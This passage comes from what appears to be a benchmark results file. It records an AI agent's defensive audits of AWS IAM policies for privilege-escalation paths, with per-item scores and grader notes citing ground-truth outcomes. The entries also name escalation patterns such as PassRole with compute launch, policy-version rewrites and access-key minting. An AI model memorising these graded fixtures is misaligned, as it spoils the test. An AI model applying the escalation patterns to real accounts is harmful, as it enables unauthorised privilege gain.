`iam:UpdateLoginProfile`, `iam:AddUserToGroup`, `sts:AssumeRole`\n\n**policy-2 Allows (on `Resource \"*\"`):**\n\n`iam:GetRole`, `iam:GetPolicy`, `iam:GetPolicyVersion`, `iam:ListRolePolicies`, `iam:ListAttachedRolePolicies`\n\n**Resolution \u2014 action by action:**\n\nThe Deny in policy-2 covers every action that policy-1 Allows, and it does so on `Resource \"*\"`. Under IAM evaluation: Deny on `Resource \"*\"` matches every possible resource ARN, including the two specific ARNs in policy-1. A Deny on a broad resource scope covers narrower resource scopes within it. There is no exception for scoped Allows; a `Deny` with `Resource \"*\"` beats an `Allow` with `Resource \"arn:aws:iam::\u2026:role/break-glass-admin\"` for the same action.\n\n| Action | policy-1 Allow | policy-2 Deny (`*`) | **Effective** |\n|---|---|---|---|\n| `iam:PutRolePolicy` | \u2705 scoped | \u2705 | \u274c **DENIED** |\n| `iam:AttachRolePolicy` | \u2705 scoped | \u2705 | \u274c **DENIED** |\n| `iam:CreatePolicyVersion` | \u2705 scoped | \u2705 | \u274c **DENIED** |\n| `iam:SetDefaultPolicyVersion` | \u2705 scoped | \u2705 | \u274c **DENIED** |\n| `iam:UpdateAssumeRolePolicy` | \u2705 scoped | \u2705 | \u274c **DENIED** |\n| `iam:PassRole` | \u2705 scoped | \u2705 | \u274c **DENIED** |\n| `iam:CreateAccessKey` | \u2705 scoped | \u2705 | \u274c **DENIED** |\n| `sts:AssumeRole` | \u274c no Allow | \u2705 | \u274c **DENIED** |\n| `iam:GetRole` | \u274c no Allow | \u2014 | \u2705 **GRANTED** |\n| `iam:GetPolicy` | \u274c no Allow | \u2014 | \u2705 **GRANTED** |\n| `iam:GetPolicyVersion` | \u274c no Allow | \u2014 | \u2705 **GRANTED** |\n| `iam:ListRolePolicies` | \u274c no Allow | \u2014 | \u2705 **GRANTED** |\n| `iam:ListAttachedRolePolicies` | \u274c no Allow | \u2014 | \u2705 **GRANTED** |\n\n**Effective permission set: five read-only IAM inventory actions. The entire mutation kit is dead.**\n\n---\n\n## Step 2 \u2014 Check Cross-Statement Escalation Combos (E1\u2013E6)\n\nRun each check against the **resolved** set, not the raw statements.\n\n**E1 \u2014 `iam:PassRole` + compute-launch action:** `iam:PassRole` is **Denied**. Combo cannot form. \u2705 Clean.\n\n**E2 \u2014 Policy rewrite in place (`iam:CreatePolicyVersion` / `SetDefaultPolicyVersion`):** Both **Denied**. \u2705 Clean.\n\n**E3 \u2014 Function-code hijack (`lambda:UpdateFunctionCode`):** Not granted anywhere. \u2705 Clean.\n\n**E4 \u2014 Attach/put admin policy onto a principal (`iam:AttachRolePolicy`, `iam:PutRolePolicy`):** Both **Denied**. \u2705 Clean.\n\n**E5 \u2014 Trust-policy rewrite + assume (`iam:UpdateAssumeRolePolicy` + `sts:AssumeRole`):** Both **Denied**. \u2705 Clean.\n\n**E6 \u2014 Credential minting for another identity (`iam:CreateAccessKey`, `iam:CreateLoginProfile`, `iam:AddUserToGroup`):** All **Denied** (all three appear explicitly in the policy-2 Deny list). \u2705 Clean.\n\n---\n\n## Step 3 \u2014 Classify Wildcard Grants (W1\u2013W5)\n\nThe read-only Allow in policy-2 (`iam:Get*`, `iam:List*` on `Resource \"*\"`) is the only effectual grant.\n\n**W1 (`Action '*'` on `Resource '*'`):** Not present. \u2705 Clean.\n\n**W3 (`Allow` + `NotAction`):** Not present. \u2705 Clean.\n\n**W2 (service-level wildcard `svc:*` on a sensitive service):** Not present. The read-only grant enumerates specific actions rather than using `iam:*`. \u2705 Clean.\n\n**W4 (mutating actions on `Resource '*'`):** No mutating actions survive into the effective set. \u2705 Clean.\n\n**W5 (broad read on `Resource '*'`):** The five effective actions (`iam:GetRole`, `iam:GetPolicy`, `iam:GetPolicyVersion`, `iam:ListRolePolicies`, `iam:ListAttachedRolePolicies`) are all on `Resource \"*\"`. These are IAM inventory reads \u2014 they can expose the structure of roles and policies in the account. This is a **low** flag per the methodology: it is a reconnaissance reach, not a mutation or credential path.\n\n**Finding W5 \u2014 Low**\n*Statement:* `ReadOnlyIamInventory` (policy-2)\n*What it grants:* Read and list access to IAM role and policy configuration across every ARN in the account. An attacker with this access can enumerate role trust policies, attached managed policies, and inline policy names \u2014 useful reconnaissance before a lateral move using credentials obtained elsewhere.\n*Fix:* If the operator role legitimately needs IAM inventory reads (e.g., to verify the break-glass role's configuration), this scope is acceptable and the risk is bounded. If the workload only needs to inspect a specific role, restrict to `Resource \"arn:aws:iam::488213749302:role/break-glass-admin\"` and `arn:aws:iam::488213749302:policy/break-glass-admin-policy`. The read-only character of the effective set means this is informational reconnaissance risk, not a mutation or escalation path.\n\n---\n\n## Step 4 \u2014 Check Trust-Policy Exposure (X1)\n\nNo trust policy (`AssumeRolePolicyDocument`) was supplied in the input.\n\n**X1 cannot be evaluated.** See the Boundary section below.\n\n---\n\n## Step 5 \u2014 Deceptive-Clean Verdict\n\nThe mutation kit in policy-1 is a textbook escalation shape on paper:\n\n- `iam:PutRolePolicy` / `iam:AttachRolePolicy` \u2192 **E4**\n- `iam:CreatePolicyVersion` / `iam:SetDefaultPolicyVersion` \u2192 **E2**\n- `iam:UpdateAssumeRolePolicy` \u2192 **E5 half**\n- `iam:PassRole` \u2192 **E1 half**\n- `iam:CreateAccessKey` \u2192 **E6**\n\nRead policy-1 alone and this is a near-complete privilege-escalation toolkit targeted at a break-glass admin role. A per-statement reviewer would rightly flag every one of these.\n\n**The effective permissions tell a different story.** Policy-2's `BoundaryDenyAllIdentityMutationEverywhere` statement is a blanket `Deny` on `Resource \"*\"` that enumerates every one of those actions by name. Because Deny on `Resource \"*\"` supersedes any Allow regardless of resource scope, every action in policy-1's Allow list is cancelled in the effective permission set. The operator arrives at IAM with five read-only actions and nothing else. There is no escalation path. The apparent critical/high kit is fully neutralised.\n\nThis is the correct structure for a break-glass access pattern: the Allow in policy-1 documents *what would be permitted* for a break-glass invocation (presumably surfaced through a separate vending mechanism that temporarily removes or overrides the Deny), while the standing policy-2 Deny ensures those actions are inert in normal operation. The design is intentional and the neutralisation is real.\n\n---\n\n## Findings Summary\n\n| # | Code | Severity | Statement | Finding | Fix |\n|---|---|---|---|---|---|\n| 1 | W5 | **Low** | `ReadOnlyIamInventory` (policy-2) | Five IAM read/list actions on `Resource \"*\"` \u2014 full account IAM inventory readable | Scope to the two break-glass ARNs if inventory access beyond those is not required |\n\n**No critical, high, or medium findings. No real escalation path exists in the effective permission set.**\n\n---\n\n## Boundary \u2014 What This Audit Cannot Determine\n\nThe following questions are unanswered by the policy documents alone and must be resolved separately before treating this principal as fully safe:\n\n1. **Other attached policies.** Only two policies were supplied. If additional managed or inline policies are attached to `role/identity-platform-operator`, the effective permission set is the union of all of them. A grant of `iam:PassRole` or a compute-launch action in a third policy \u2014 with no corresponding Deny \u2014 would arm E1 without any statement in these two policies appearing guilty. The neutralisation here is robust only across the two policies audited.\n\n2. **Permissions boundary.** No permissions boundary document was supplied. Policy-2 is structured *as if* it were a permissions boundary (a blanket Deny on mutation actions), but it is an attached policy, not a boundary. An attached-policy Deny and a permissions boundary are both valid neutralisers; the difference matters operationally. If there is a separate permissions boundary, it may grant additional actions (a boundary defines the ceiling, not the floor), or may conflict with policy-2's Deny in ways not visible here.\n\n3. **Org SCPs.** An SCP in the organization can independently Deny actions this policy Allows \u2014 or, critically, can Allow actions that this policy's Deny alone would not govern in the way a reader might expect, depending on the SCP evaluation model in use. The relationship between policy-2's Deny and any org-level SCP is invisible from this document.\n\n4. **The break-glass role's privileges.** The two scoped ARNs \u2014 `role/break-glass-admin` and `policy/break-glass-admin-policy` \u2014 are central to the design. The mutation kit in policy-1 is targeted at exactly these. If the Deny in policy-2 is ever removed or overridden (e.g., by an emergency break-glass workflow that temporarily detaches policy-2 or uses a session policy to override it), the operator gains full mutation control over whatever privileges `break-glass-admin` holds. Those privileges are not in these documents. Confirm that `break-glass-admin` has a well-defined, audited permission set and that the process for activating break-glass is itself gated and logged.\n\n5. **Trust policy.** The `AssumeRolePolicyDocument` for `role/identity-platform-operator` was not supplied. Who can assume this role \u2014 other roles, CI/CD pipelines, cross-account principals \u2014 determines the blast radius if this role is ever compromised or the Deny is removed. X1 cannot be confirmed clean without it.",
"agent_chars": 10360,
"agent_s": 59.3,
"elapsed_s": 69.5
},
{
"fixture": "05-iam-mutation-boundary-capped",
"condition": "treatment",
"trial": 2,
"score": 7,
"scores_by_item": [
1,
1,
1,
1,
1,
1,
1
],
"notes": [
"Correctly parses all statements, enumerates all seven mutation actions in policy-1's Allow, and correctly reads the blanket Deny in policy-2 covering all of them.",
"Correctly identifies the ground-truth result: no real escalation findings; the mutation kit is fully neutralised by the Deny, leaving only read-only IAM inventory \u2014 matches the clean finding.",
"Does not assert any live privilege escalation; the apparent E1/E2/E4/E5/E6 cluster is explicitly marked as not a finding because Deny wins, and the only finding raised (W5 low) is a minor read-scope issue, not a false escalation claim.",
"Explicitly resolves each action across both policies using the Deny-wins rule, demonstrates that a Deny on Resource '*' overrides a scoped Allow, and confirms no combo survives into the effective permission set.",
"Headlines the result as clean/no escalation; the only flagged issue is rated Low (W5 read-only); the neutralised mutation kit is never presented as critical or as a live risk.",
"Names multiple things it cannot determine: other attached policies, permissions boundary, org SCPs, trust policy, and privileges of the targeted break-glass role \u2014 all matching ground-truth joins.",
"Top recommendation correctly states no security fix is needed for the neutralised Deny boundary, and optionally suggests removing the inert Allow block and scoping reads to specific ARNs \u2014 matches the ground-truth fix in substance."
],
"agent_output": "# IAM Privilege-Escalation Audit\n**Principal:** `role/identity-platform-operator`\n**Input:** 2 attached policies, 3 statements total (1 Allow in policy-1; 1 Deny + 1 Allow in policy-2)\n\n---\n\n## Step 1 \u2014 Resolve the Effective Permission Set\n\nBefore any judgment, union the statements and apply Deny. Deny wins, always.\n\n**From policy-1 (Allows):**\n| Action | Resource |\n|---|---|\n| `iam:PutRolePolicy` | `arn:aws:iam::488213749302:role/break-glass-admin` |\n| `iam:AttachRolePolicy` | `arn:aws:iam::488213749302:role/break-glass-admin` |\n| `iam:CreatePolicyVersion` | `arn:aws:iam::488213749302:policy/break-glass-admin-policy` |\n| `iam:SetDefaultPolicyVersion` | `arn:aws:iam::488213749302:policy/break-glass-admin-policy` |\n| `iam:UpdateAssumeRolePolicy` | `arn:aws:iam::488213749302:role/break-glass-admin` |\n| `iam:PassRole` | `arn:aws:iam::488213749302:role/break-glass-admin` |\n| `iam:CreateAccessKey` | `arn:aws:iam::488213749302:role/break-glass-admin` |\n\n**From policy-2 (Deny on `Resource \"*\"`):**\nEvery action in the Deny statement matches `Resource \"*\"`, which by the methodology's conservative approximation covers every resource \u2014 including the specific ARNs in policy-1. The Deny set is:\n\n`iam:PutRolePolicy`, `iam:PutUserPolicy`, `iam:PutGroupPolicy`, `iam:AttachRolePolicy`, `iam:AttachUserPolicy`, `iam:AttachGroupPolicy`, `iam:CreatePolicyVersion`, `iam:SetDefaultPolicyVersion`, `iam:UpdateAssumeRolePolicy`, `iam:PassRole`, `iam:CreateAccessKey`, `iam:CreateLoginProfile`, `iam:UpdateLoginProfile`, `iam:AddUserToGroup`, `sts:AssumeRole`\n\n**Cross-statement resolution \u2014 action by action:**\n\n| Action | policy-1 Allow? | policy-2 Deny on `Resource *`? | Effective |\n|---|---|---|---|\n| `iam:PutRolePolicy` | \u2713 (scoped ARN) | \u2713 | **DENIED** |\n| `iam:AttachRolePolicy` | \u2713 (scoped ARN) | \u2713 | **DENIED** |\n| `iam:CreatePolicyVersion` | \u2713 (scoped ARN) | \u2713 | **DENIED** |\n| `iam:SetDefaultPolicyVersion` | \u2713 (scoped ARN) | \u2713 | **DENIED** |\n| `iam:UpdateAssumeRolePolicy` | \u2713 (scoped ARN) | \u2713 | **DENIED** |\n| `iam:PassRole` | \u2713 (scoped ARN) | \u2713 | **DENIED** |\n| `iam:CreateAccessKey` | \u2713 (scoped ARN) | \u2713 | **DENIED** |\n| `iam:GetRole` | \u2713 (policy-2 Allow, `Resource *`) | \u2717 | **GRANTED** |\n| `iam:GetPolicy` | \u2713 (policy-2 Allow, `Resource *`) | \u2717 | **GRANTED** |\n| `iam:GetPolicyVersion` | \u2713 (policy-2 Allow, `Resource *`) | \u2717 | **GRANTED** |\n| `iam:ListRolePolicies` | \u2713 (policy-2 Allow, `Resource *`) | \u2717 | **GRANTED** |\n| `iam:ListAttachedRolePolicies` | \u2713 (policy-2 Allow, `Resource *`) | \u2717 | **GRANTED** |\n| `sts:AssumeRole` | \u2717 | \u2713 | **DENIED** (and no Allow exists anyway) |\n\n**Effective permission set after resolution:** five read-only IAM inventory actions. The entire mutation kit from policy-1 is dead.\n\n---\n\n## Step 2 \u2014 Cross-Statement Escalation Combos (E1\u2013E6)\n\nChecks run against the **resolved** set, not against the raw Allow statements.\n\n| Combo | Raw Allow present? | Effective after Deny? | Verdict |\n|---|---|---|---|\n| **E1** \u2014 `iam:PassRole` + compute-launch | PassRole allowed in policy-1; no compute-launch action in either policy | PassRole is **DENIED** | Clean \u2014 PassRole is dead; no launch action exists |\n| **E2** \u2014 `iam:CreatePolicyVersion` / `SetDefaultPolicyVersion` | Both allowed in policy-1 | Both **DENIED** | Clean |\n| **E3** \u2014 `lambda:UpdateFunctionCode` | Not present | Not present | Clean |\n| **E4** \u2014 `iam:AttachRolePolicy` / `PutRolePolicy` | Both allowed in policy-1 | Both **DENIED** | Clean |\n| **E5** \u2014 `iam:UpdateAssumeRolePolicy` + `sts:AssumeRole` | `UpdateAssumeRolePolicy` allowed in policy-1; `sts:AssumeRole` not allowed in either policy | `UpdateAssumeRolePolicy` **DENIED**; `sts:AssumeRole` also **DENIED** | Clean \u2014 both legs dead |\n| **E6** \u2014 `iam:CreateAccessKey` / credential-minting | `CreateAccessKey` allowed in policy-1 | **DENIED** | Clean |\n\n**No cross-statement escalation path survives into the effective permission set.**\n\n---\n\n## Step 3 \u2014 Wildcard Grant Classification (W1\u2013W5)\n\nThe only effective Allows are the five read-only inventory actions in `ReadOnlyIamInventory` on `Resource \"*\"`.\n\n| Code | Check | Result |\n|---|---|---|\n| **W1** | `Action '*'` on `Resource '*'` | Not present |\n| **W3** | `Allow` + `NotAction` | Not present |\n| **W2** | Service-level wildcard on sensitive service | Not present \u2014 actions are individually named reads |\n| **W4** | Mutating actions on `Resource '*'` | None survive \u2014 all mutations are denied |\n| **W5** | Broad read on `Resource '*'` | The five granted reads are IAM inventory (structure data, no secrets). `iam:GetPolicyVersion` can expose the text of any policy version, which is low-sensitivity structure data, but it is the canonical read needed for break-glass auditing. Flagged as **low** for awareness; see finding W5 below. |\n\n---\n\n## Step 4 \u2014 Trust-Policy Exposure (X1)\n\nNo trust policy was supplied. The trust policy determines who can assume this role; without it, the principal's assumed-by surface cannot be evaluated.\n\n> **X1 cannot be assessed** \u2014 trust policy not provided. See Boundary section.\n\n---\n\n## Step 5 \u2014 Deceptive-Clean Confirmation\n\nThe policy-1 mutation kit *reads* as a near-complete privilege-escalation toolkit targeting a named break-glass role:\n\n- `iam:PutRolePolicy` / `iam:AttachRolePolicy` \u2192 **E4** shape\n- `iam:CreatePolicyVersion` / `iam:SetDefaultPolicyVersion` \u2192 **E2** shape\n- `iam:UpdateAssumeRolePolicy` \u2192 **E5** shape (one leg)\n- `iam:PassRole` \u2192 **E1** shape (one leg)\n- `iam:CreateAccessKey` \u2192 **E6** shape\n\nRead in isolation, this statement is a critical-severity cluster. It is **not** a finding, because:\n\n1. The policy-2 Deny covers **every one of those seven actions** by name.\n2. The Deny is on `Resource \"*\"`, which by the methodology's conservative approximation applies to all resources \u2014 including the two specific ARNs in policy-1's `Resource` block.\n3. IAM Deny-wins-over-Allow is unconditional and does not depend on specificity of the resource scope. A `Deny` on `Resource \"*\"` for `iam:PassRole` kills the Allow on `arn:aws:iam::488213749302:role/break-glass-admin` for `iam:PassRole`. The scoped Allow has no counterweight to offer.\n4. No condition gates the Deny, so no session tag, VPC endpoint, or MFA claim can bypass it.\n\nThe effective permission set is therefore read-only IAM inventory. The mutation kit is fully capped. **This is a clean policy for the escalation checks.**\n\n---\n\n## Findings\n\n### \u2705 No Real Escalation\n\nThe complete mutation kit in policy-1 is neutralised by the blanket Deny in policy-2. No privilege-escalation path survives into the effective permission set. The apparent E1/E2/E4/E5/E6 cluster is **not a finding**.\n\n---\n\n### FINDING W5 \u2014 Low\n**Rule:** W5 \u2014 Broad read on `Resource \"*\"`\n**Grounded in:** `ReadOnlyIamInventory` (policy-2), all five actions on `Resource \"*\"`\n**Specifically:** `iam:GetPolicyVersion` on `Resource \"*\"` allows the principal to retrieve the text of any managed policy version in the account, including policies attached to sensitive roles or users. The other four actions (`GetRole`, `GetPolicy`, `ListRolePolicies`, `ListAttachedRolePolicies`) expose structural IAM metadata.\n\n**Escalation path:** None on its own. This is a data-reach finding, not a mutation path. The impact depends on what sensitive information is encoded in policy text (hardcoded resource ARNs, account structures, classification markers), which is not visible in the policy document.\n\n**Severity:** Low\n\n**Fix:** If this role's purpose is limited to auditing the break-glass role specifically, scope the read actions to that ARN rather than `Resource \"*\"`:\n\n```json\n{\n \"Sid\": \"ReadOnlyBreakGlassInventory\",\n \"Effect\": \"Allow\",\n \"Action\": [\n \"iam:GetRole\",\n \"iam:GetPolicy\",\n \"iam:GetPolicyVersion\",\n \"iam:ListRolePolicies\",\n \"iam:ListAttachedRolePolicies\"\n ],\n \"Resource\": [\n \"arn:aws:iam::488213749302:role/break-glass-admin\",\n \"arn:aws:iam::488213749302:policy/break-glass-admin-policy\"\n ]\n}\n```\n\nNote: `iam:GetPolicy` and `iam:GetPolicyVersion` require the policy ARN as the resource, not a role ARN, so scope them precisely. If the role also needs to inventory other roles for legitimate operational reasons, document that requirement explicitly before keeping `Resource \"*\"`.\n\n---\n\n### Design Observation \u2014 Dead Allow Block (Non-Finding)\nThe entire `ManageBreakGlassRoleInlinePolicies` Allow block in policy-1 is inert at runtime. If the intent is that this role should *never* be able to mutate anything, the Allow block achieves nothing except maintenance confusion: a future engineer may read it as active permissions and audit or build against it incorrectly. Consider one of:\n\n1. **Remove `ManageBreakGlassRoleInlinePolicies` entirely** if break-glass mutation is genuinely not needed by this role.\n2. **Document the intent explicitly** with a `Sid` on the Deny that names the Allow it overrides, e.g., `\"Sid\": \"HardCapOverManageBreakGlassRoleInlinePolicies\"`.\n3. **Replace the combination** with a separate role that has the mutation kit but no blanket Deny, accessed only through a break-glass process with MFA and approval gating, rather than having the same principal carry both a mutation Allow and a Deny that kills it.\n\nThis is an operational hygiene note, not a security finding.\n\n---\n\n## Boundary \u2014 What This Audit Cannot Determine\n\nThe following joins exist and are outside the scope of the policy documents provided. A clean result here does **not** prove the principal is safe without them.\n\n| Join | What it affects | Status |\n|---|---|---|\n| **Other attached policies** | If this principal has additional managed or inline policies not supplied here, the effective permission set is incomplete. A grant in a third policy is not visible to this audit. | \u26a0\ufe0f Not supplied \u2014 confirm this is the complete set. |\n| **Permissions boundary** | policy-2's Deny statement functions *like* a permissions boundary here, but it is a permissions policy, not a formal IAM permissions boundary (`PermissionsBoundary`). A formal boundary caps what any attached policy can grant; a Deny in a permissions policy is unconditional but not the same mechanism. If a formal permissions boundary is also attached, it should be reviewed separately. | \u26a0\ufe0f Not supplied. |\n| **Org SCPs** | A Service Control Policy can Deny actions this policy allows and can Allow actions this policy does not. SCPs are invisible from the account's own policy documents. The `ReadOnlyIamInventory` grants could be further restricted by an SCP. | \u26a0\ufe0f Not supplied. |\n| **Trust policy (`AssumeRolePolicyDocument`)** | Determines who can assume this role and whether X1 (wildcard principal, no narrowing condition) applies. Not provided; trust exposure cannot be assessed. | \u26a0\ufe0f Not supplied \u2014 provide the trust policy for a complete audit. |\n| **Privileges of targeted roles** | The break-glass-admin role is named in policy-1's Allow block. If the Deny were ever removed or bypassed, the impact of E1/E4/E5/E6 would depend entirely on how privileged that role is. Its policy is not in scope here. | \u26a0\ufe0f Not supplied \u2014 assumed highly privileged by name. |\n\n---\n\n## Summary\n\n| | |\n|---|---|\n| **Effective permissions** | 5 read-only IAM inventory actions |\n| **Escalation findings** | None \u2014 full mutation kit neutralised by blanket Deny |\n| **Wildcard findings** | W5 (low) \u2014 IAM reads on `Resource \"*\"` |\n| **Trust exposure** | Cannot assess \u2014 trust policy not provided |\n| **Dominant risk** | Operational confusion from a dead Allow block, not a security escalation |\n| **Recommended action** | (1) Scope reads to break-glass ARNs; (2) provide trust policy for X1 check; (3) clarify intent of inert Allow block |",
"agent_chars": 11637,
"agent_s": 71.9,
"elapsed_s": 81.5
},
{
"fixture": "07-passrole-sandboxed-role-orphaned",
"condition": "treatment",
"trial": 0,
"score": 7,
"scores_by_item": [
1,
1,
1,
1,
1,
1,
1
],
"notes": [
"Agent correctly parses all statements across three policies, identifying the full effective permission set including PassRole scoped to a single role ARN and compute verbs without wildcards.",
"Agent correctly identifies no real escalation exists (empty findings), matching ground truth's clean verdict, and explains the E1 shape is present but unarmed.",
"Agent raises no false positives; it explicitly works through why PassRole + Start/Invoke does not constitute E1 and why read-scoped actions don't meet W5 threshold.",
"Agent performs proper cross-statement union analysis, recognizing PassRole and compute verbs span two policies but correctly determines the combo is incomplete because no role-binding launch action is present.",
"Agent does not headline any neutralized or read-only grant as critical; all findings are marked CLEAN with explanations, and the one hardening note is explicitly labeled non-severity.",
"Agent names multiple things it cannot determine: other attached policies, permissions boundary, Org SCPs, the complete privileges of sandbox-readonly-compute, and the trust policy \u2014 all matching ground-truth joins.",
"Agent's top recommendation correctly states no security fix is needed and optionally suggests removing the unused PassRole grant if no role-binding launch action will be added, matching the ground-truth fix in substance."
],
"agent_output": "# IAM Privilege-Escalation Audit\n**Principal:** `role/sandbox-compute-operator`\n**Input:** 3 attached policies, 4 statements total, no trust policy supplied, no permissions boundary supplied.\n\n---\n\n## Step 1 \u2014 Effective Permission Set\n\nUnioning all three policies, no Deny statements are present anywhere. The full resolved Allow set is:\n\n| Action | Resource |\n|---|---|\n| `iam:PassRole` | `arn:aws:iam::488213749302:role/sandbox-readonly-compute` (one specific role) |\n| `iam:GetRole`, `iam:ListRolePolicies`, `iam:ListAttachedRolePolicies` | same single role ARN |\n| `ec2:StartInstances`, `ec2:StopInstances`, `ec2:RebootInstances`, `ec2:DescribeInstances` | `arn:aws:ec2:eu-west-1:488213749302:instance/*` |\n| `ecs:StartTask`, `ecs:StopTask` | `arn:aws:ecs:eu-west-1:488213749302:task/*` |\n| `lambda:InvokeFunction` | `arn:aws:lambda:eu-west-1:488213749302:function:sandbox-*` |\n| `s3:GetObject`, `s3:ListBucket` | `arn:aws:s3:::sandbox-fixtures-eu` and its contents |\n| `logs:GetLogEvents`, `logs:DescribeLogStreams` | `/sandbox/*` log groups in `eu-west-1` |\n| `cloudwatch:GetMetricData` | (scoped to sandbox log groups \u2014 note: CloudWatch metrics do not take log-group ARNs; this is likely a misconfiguration in the resource scope but is inert as a security matter) |\n| `dynamodb:GetItem`, `dynamodb:Query` | `sandbox-readonly-cache` table only |\n\nNo `Action '*'`, no `NotAction`, no service-level wildcard, no Deny. The effective set is narrow and concrete.\n\n---\n\n## Step 2 \u2014 Cross-Statement Escalation Combos (E1\u2013E6)\n\n### E1 \u2014 `iam:PassRole` + role-binding compute-launch action\n\nThis is the only combo worth examining given the permission set.\n\n**The PassRole half** (policy-1): `iam:PassRole` is allowed, but scoped to exactly one role ARN: `arn:aws:iam::488213749302:role/sandbox-readonly-compute`.\n\n**The compute-launch half** (policy-2): the compute verbs granted are `ec2:StartInstances`, `ecs:StartTask`, and `lambda:InvokeFunction`.\n\nApply the methodology's precise definition of E1: *\"The launch action must actually bind a role: `Start`/`Invoke` on existing compute take no PassRole argument and do not arm E1.\"*\n\n- `ec2:StartInstances` \u2014 starts an **already-running or stopped instance**. It does not specify an IAM instance profile at call time. The instance profile was bound at `ec2:RunInstances` (not granted here). No PassRole argument; does not arm E1.\n- `ecs:StartTask` \u2014 starts an already-defined task definition. The task role is embedded in the task definition at creation time (`ecs:RegisterTaskDefinition`, not granted). No PassRole argument at start time; does not arm E1.\n- `lambda:InvokeFunction` \u2014 invokes an existing function. The execution role is attached at `lambda:CreateFunction` or `lambda:UpdateFunctionConfiguration` (neither granted). No PassRole argument; does not arm E1.\n\n**None of the granted compute verbs bind a role at call time.** PassRole is present but its only passable role is `sandbox-readonly-compute`, and no action in the effective set takes a role argument when launching or creating new compute. The shape of E1 is present in the union; the mechanism is not. **E1 is not armed. CLEAN.**\n\n### E2 \u2014 Policy rewrite in place\n\n`iam:CreatePolicyVersion` and `iam:SetDefaultPolicyVersion` are not in the effective set. **E2 is not present.**\n\n### E3 \u2014 Lambda function code hijack\n\n`lambda:UpdateFunctionCode` is not in the effective set (`lambda:InvokeFunction` is granted, which executes existing code but cannot replace it). **E3 is not present.**\n\n### E4 \u2014 Attach admin policy to a principal\n\n`iam:AttachUserPolicy`, `iam:AttachRolePolicy`, `iam:PutRolePolicy`, and equivalents are not in the effective set. **E4 is not present.**\n\n### E5 \u2014 Trust policy rewrite + assume\n\n`iam:UpdateAssumeRolePolicy` and `sts:AssumeRole` are not in the effective set. **E5 is not present.**\n\n### E6 \u2014 Credential minting for another identity\n\n`iam:CreateAccessKey`, `iam:CreateLoginProfile`, `iam:AddUserToGroup`, and equivalents are not in the effective set. **E6 is not present.**\n\n---\n\n## Step 3 \u2014 Wildcard Grant Classification (W1\u2013W5)\n\n**W1:** No `Action '*'` on `Resource '*'`. Not present.\n\n**W3:** No `Allow` + `NotAction` construct. Not present.\n\n**W2:** No service-level wildcard (`svc:*`) on any sensitive service. Not present.\n\n**W4:** No mutating actions on `Resource '*'`. All mutating actions (Start, Stop, Reboot, Invoke) are scoped to specific account/region/resource patterns. Not present.\n\n**W5 \u2014 broad read on `Resource '*'`:** The read actions in policy-3 (`s3:GetObject`, `s3:ListBucket`, `dynamodb:GetItem`, `dynamodb:Query`, `logs:GetLogEvents`) are all scoped to specific named resources (`sandbox-fixtures-eu`, `sandbox-readonly-cache`, `/sandbox/*`), **not** `Resource '*'`. W5 does not apply.\n\n**No wildcard findings.**\n\n---\n\n## Step 4 \u2014 Trust Policy Exposure (X1)\n\nNo trust policy (`AssumeRolePolicyDocument`) was supplied. **X1 cannot be evaluated.**\n\n---\n\n## Step 5 \u2014 Deceptive-Clean Verdict\n\nTwo surface-level alarm shapes appear and are both demonstrably inert:\n\n**Apparent E1:** `iam:PassRole` + compute verbs across two policies. This is the fixture-07 pattern exactly. The combo is neutralised by the nature of the granted verbs \u2014 `Start`/`Invoke`/`Stop` operate on already-defined compute and accept no role argument. The only passable role (`sandbox-readonly-compute`) is strictly read-only (its own permissions are confirmed in policy-3: S3/DynamoDB/CloudWatch reads scoped to sandbox resources). Even if a crafted compute-launch path existed, the only role that could be passed provides no privilege gain.\n\n**Apparent W5:** Read actions on S3, DynamoDB, and CloudWatch Logs. All are scoped to specific named resources, so W5's `Resource '*'` threshold is not met.\n\n---\n\n## Findings\n\n**No real privilege-escalation paths exist in the resolved effective permission set.**\n\n| Rule | Severity | Status | Reason |\n|---|---|---|---|\n| E1 | critical/high | **CLEAN** | PassRole scoped to one role; no role-binding launch action in the grant set (`Start`/`Invoke` bind no role at call time) |\n| E2\u2013E6 | critical/high | **CLEAN** | None of the constituent actions are present |\n| W1\u2013W5 | critical\u2013low | **CLEAN** | No wildcards; all actions scoped to specific ARNs |\n| X1 | high | **NOT EVALUATED** | Trust policy not supplied |\n\n### One specific hardening note (not a severity finding, design observation)\n\nThe `ecs:StartTask` grant deserves a comment. `ecs:StartTask` is the older API that places a task on a specific container instance; `ecs:RunTask` is the modern equivalent. Neither is a privilege-escalation vector here, but `ecs:StartTask` is unusual enough in modern workloads that the scope of `arn:aws:ecs:eu-west-1:488213749302:task/*` is worth confirming against actual operational need. This is a hygiene note, not a finding.\n\n---\n\n## Boundary \u2014 What This Audit Cannot Determine\n\nThe following questions are not answerable from these three policy documents alone. They are joins that require external context:\n\n1. **Other attached policies.** This audit covers exactly the three policies supplied. If `sandbox-compute-operator` has additional managed or inline policies not provided here, the effective permission set is incomplete. A missing policy could introduce E1-armed launch actions (`ec2:RunInstances`, `lambda:CreateFunction`, `ecs:RegisterTaskDefinition`) or IAM mutation verbs that would change the verdict.\n\n2. **Permissions boundary.** No permissions boundary was supplied. If one is attached to this role, it can only further restrict the effective set \u2014 but its absence from the audit means the \"clean\" verdict is not a proven-safe principal, only a principal whose *supplied* policies are clean.\n\n3. **Org SCPs.** Any Service Control Policy in the organization hierarchy can Deny actions this policy Allows and is invisible from the account. The effective set could be narrower than what is stated here.\n\n4. **The privileges of `sandbox-readonly-compute`.** Policy-3 is labeled as that role's own policy and appears strictly read-only. However, this audit cannot confirm that policy-3 is the *complete* set of permissions attached to `sandbox-readonly-compute`. If that role has additional attached policies not supplied here, the passable role may be more privileged than it appears, which would change the E1 severity assessment from \"no gain\" to \"verify.\"\n\n5. **Trust policy of `role/sandbox-compute-operator`.** Not supplied. X1 (open trust) cannot be evaluated. If the trust policy allows a broad or wildcard principal to assume this role, the permissions here become available to that broader set of principals \u2014 even though those permissions are themselves well-scoped.",
"agent_chars": 8676,
"agent_s": 51.4,
"elapsed_s": 60.5
},
{
"fixture": "07-passrole-sandboxed-role-orphaned",
"condition": "treatment",
"trial": 1,
"score": 7,
"scores_by_item": [
1,
1,
1,
1,
1,
1,
1
],
"notes": [
"Correctly parses all statements across three policies, enumerating every action and resource scope without missing or misreading any grant.",
"Correctly identifies no real escalation exists and reports a clean verdict, matching the ground truth of empty findings.",
"Does not assert any false positive; explicitly works through the PassRole+compute combo and confirms it is neutralised on two independent grounds.",
"Performs cross-statement reasoning by unioning both policies and evaluating whether the compute verbs (StartInstances, StartTask, InvokeFunction) accept a role-binding argument, correctly concluding they do not.",
